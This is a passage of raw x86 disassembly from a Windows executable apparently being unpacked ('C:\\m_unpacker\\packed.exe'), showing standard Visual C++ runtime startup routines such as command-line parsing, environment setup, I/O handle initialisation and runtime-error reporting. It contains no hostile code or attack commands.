sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DCFF4, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE XREF: ___:00422E79j push esi mov esi, dword_4DCFEC mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DCFF4, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB9C8 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB980, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB9C8 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB9C8 call sub_41B0B1 pop ecx mov dword_4DB9C8, ebx mov [esi], ebx pop edi pop esi mov dword_4DCFF0, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DCFF4, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call near ptr 26A0000h nop mov eax, dword_4DCFEC mov off_4DB990, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB978, esi pop edi pop esi mov dword_4DB974, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DCEC1[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DCEC1[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DCEC1[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DCEC1[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DBB38 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DBB38, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j nop call near ptr 2650BF9h mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DBB38, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 2650E76h mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD nop call near ptr 2650BF9h mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi call near ptr 2650EBFh nop mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DCCA0, esi mov dword_4DCDA0, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DCCA0 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax nop call near ptr 28D0000h cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DCDA0, esi jge short loc_4233E6 mov edi, offset dword_4DCCA4 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DCDA0, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DCDA0, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DCDA0 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax nop call near ptr 2650000h test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DCCA0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DCCA0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax nop call near ptr 26508D5h mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi nop call near ptr 2650000h test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DCDA0 nop call near ptr 2650B6Dh pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB9D0 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A9A4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DBB3C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43D038 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43D0C8 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43D038[esi] jnz loc_423719 mov eax, dword_4DB9D0 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A9A4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 26A0000h test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C08 ; "\n\n" push eax call sub_41BEC0 push off_43D03C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43D03C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 26508D5h push eax nop call near ptr 2720000h loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DCCA0 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DCDA0 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DCDA0, 20h lea ecx, ds:4DCCA0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DCDA0 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DCCA0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A9A4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj nop call near ptr 2640D64h loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB95C, 0 mov dword_4DB958, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DCDA0 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DCCA0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A9A4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej call near ptr 2640D64h nop loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB95C, 0 mov dword_4DB958, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DCDA0 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DCCA0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB95C, 0 mov dword_4DB958, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DCDA0 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DCCA0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax call near ptr 26407F1h nop test eax, eax jnz short loc_42391D nop call near ptr 26B0857h jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB95C, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB958, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DCC80 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DCC80, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call 